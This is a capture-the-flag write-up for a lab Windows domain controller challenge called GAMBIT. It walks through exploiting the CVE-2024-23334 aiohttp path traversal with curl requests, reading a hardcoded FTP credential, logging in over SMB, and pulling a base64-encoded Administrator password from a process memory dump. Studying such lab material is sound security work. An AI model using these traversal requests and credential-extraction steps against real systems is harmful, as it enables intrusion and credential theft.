← Back to Writeups
CUSTOMMediumInfrastructure

Шахматы (Chess) — GAMBIT

XESXOR9/10/20265 min read
#infrastructure#custom#medium#aiohttp_follow_symlinks_traver#base64_decode#hardcoded_credential_leak#procdump_memory_string_extract#smb_enumeration_domain_creds#source_code_disclosure#vertical_privilege_escalation#vhost_discovery_host_header#cve-2024-23334

Шахматы (Chess) — GAMBIT

Platform: CUSTOM | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: aiohttp_follow_symlinks_traversal, base64_decode, hardcoded_credential_leak, procdump_memory_string_extraction, smb_enumeration_domain_creds, source_code_disclosure, vertical_privilege_escalation, vhost_discovery_host_header

Summary

Walkthrough of the CUSTOM Infrastructure Шахматы (Chess) — GAMBIT. Task: Windows AD DC (codeby.cdb / GAMBIT) exposing an aiohttp 3.8.0 web app on a non-default vhost. Solution: exploit CVE-2024-23334 path traversal (follow_symlinks) via curl --path-as-is to read sour

Description

Шахматы. В цейтнот попадает не тот, кто много думает, а тот, кто думает не о том.

English: "Chess. Time trouble (цейтнот) befalls not the one who thinks a lot, but the one who thinks about the wrong thing."

This is deliberate misdirection. "Цейтнот" (time trouble) lures solvers toward Kerberos / time-based attacks (AS-REP roast, Kerberoast, user enumeration) against the domain controller. The real foothold is a web CVE — "think about the right thing."

Target: 192.169.2.16, Windows Domain Controller, domain codeby.cdb, host GAMBIT. Flag format CODEBY{...}. The flag is split across the user flag and the root flag.

Analysis

Recon

Full TCP scan shows a classic AD surface plus one odd port:

  • 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 9389 — Active Directory / DC services
  • 5985 — WinRM
  • 31337 — a web service
  • 21 and 80 — connection refused

The web service on 31337 is a virtual host: it only answers when the HTTP Host header is gambit. With a default host the connection hangs/times out.

bash
curl -s -H "Host: gambit" http://192.169.2.16:31337/
# -> "Welcome to Gambit server!"
# Response headers include:
#   Server: Python/3.10 aiohttp/3.8.0
#   Channel: @wh_lab

aiohttp/3.8.0 is the key signal: it is vulnerable to CVE-2024-23334 — directory traversal in static routes configured with follow_symlinks=True (fixed in 3.9.2).

Solution

Step 1 — CVE-2024-23334 path traversal (arbitrary file read)

aiohttp serves a static route. If that route is registered with follow_symlinks=True, the path normalization that should confine requests to the static directory is bypassed, allowing ../ traversal.

Exploitation details that mattered:

  • Use curl --path-as-is so curl does NOT normalize ../ client-side.
  • URL-encoded traversal (%2f, %2e%2e) is filtered → 403. Raw ../ works.
  • The form is GET /static/<../...>/<file> — do not prepend an extra ../ before the /static/ segment (that caused connection resets / 000).
  • The app sits ~5 directory levels below the drive root.

Confirm the vulnerability by reading the app's own source:

bash
curl -s --path-as-is -H "Host: gambit" \
  "http://192.169.2.16:31337/static/../main.py"

Recovered main.py shows the vulnerable config:

python
app.router.add_routes([
    web.static("/static/", "static/", follow_symlinks=True),
])

Validate multi-level traversal:

bash
curl -s --path-as-is -H "Host: gambit" \
  "http://192.169.2.16:31337/static/../../../../../../Windows/win.ini"   # 200 OK

Directory layout discovered: <parent>/<appdir>/static/ and a sibling <parent>/backup/ftp-adm.py.

Step 2 — Credential leak from ftp-adm.py

Read the FTP admin script via traversal:

bash
curl -s --path-as-is -H "Host: gambit" \
  "http://192.169.2.16:31337/static/../../backup/ftp-adm.py"

It is a pyftpdlib FTP server (port 11000) with a hardcoded user:

python
authorizer.add_user('egor.prudnikov', 'G@mbit_ps', '.', perm='elr')

Credentials: egor.prudnikov : G@mbit_ps. These are also valid as a domain user on codeby.cdb over SMB.

Step 3 — SMB foothold + user flag

bash
smbclient -L //192.169.2.16/ -U 'codeby.cdb\egor.prudnikov%G@mbit_ps' -m SMB3
# Shares: backup, Users, C$ (C$/backup denied as egor)

In \\Users\egor.prudnikov\Desktop:

  • user.txt (15 bytes) = CODEBY{a1o_CVE?
  • basic-auth.dmp (~238 MB) and two more dated dumps — procdump64 memory dumps of a basic-auth.exe process
  • procdump64.exe
  • Scripts\basic-auth.ps1

WinRM as egor FAILS (egor is not in Remote Management Users → HTTP 500 AccessDenied), so privilege escalation must come from the dump rather than a shell.

basic-auth.ps1 (author tag "Exited3n", t.me/pt_soft) builds an HTTP Basic Auth header for user Administrator, has $enc_pass = '[REDACTED]' on disk, and ends with Read-Host -Prompt "Welcome back!" — keeping the process alive so its variables remain in memory. The .dmp files are memory dumps of that running process.

Step 4 — Recover the Administrator password from the memory dump

Download the dump over SMB (slow ~276 KB/s, flaky NT_STATUS_IO_TIMEOUT → use a retry loop; the secret is recoverable even from a partial download, ~226/238 MB).

The on-disk script redacts the password, but the in-memory copy holds the real value:

bash
strings -n 10 basic-auth.dmp | grep '\$enc_pass'
# $enc_pass =  'R0BtYml0X29uZQ'

Decode (base64):

bash
echo 'R0BtYml0X29uZQ==' | base64 -d
# G@mbit_one

Administrator password = G@mbit_one.

Step 5 — Root flag as Administrator

bash
smbclient //192.169.2.16/C$ -U 'codeby.cdb\Administrator%G@mbit_one' -m SMB3
# get \Users\Administrator\Desktop\ro0t-flag.txt

ro0t-flag.txt (6 bytes) = _Tru3}. The Administrator Desktop also contained the deployed app (aio\main.py + static\) and backup\ftp-adm.py, confirming the full chain.

Flag assembly

The flag is split between the two flags:

user.txt  = CODEBY{a1o_CVE?
root.txt  = _Tru3}
combined  = CODEBY{REDACTED}

A play on "aiohttp CVE? True".

Lessons / Pitfalls

  • The "цейтнот" (chess time-trouble) hint is misdirection toward Kerberos AS-REP roasting / user enumeration on the DC. Significant time was wasted there. The real entry was the aiohttp web CVE — "think about the right thing."
  • The web service needs a non-default Host: gambit header. With a default host it appears dead (hang/timeout) — easy to miss during recon.
  • Use curl --path-as-is for aiohttp traversal. URL-encoding the traversal is filtered (403); raw ../ works. Don't add a leading ../ before /static/.
  • procdump memory dumps of PowerShell/long-lived processes retain plaintext script variables, including secrets that are "redacted" on disk. Grep the in-memory copy of the script ($enc_pass).

Key Takeaways / Lessons

  • Mastering aiohttp_follow_symlinks_traversal, base64_decode, hardcoded_credential_leak, procdump_memory_string_extraction, smb_enumeration_domain_creds, source_code_disclosure, vertical_privilege_escalation, vhost_discovery_host_header was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-11 • CUSTOM • Шахматы (Chess) — GAMBIT • Difficulty: Medium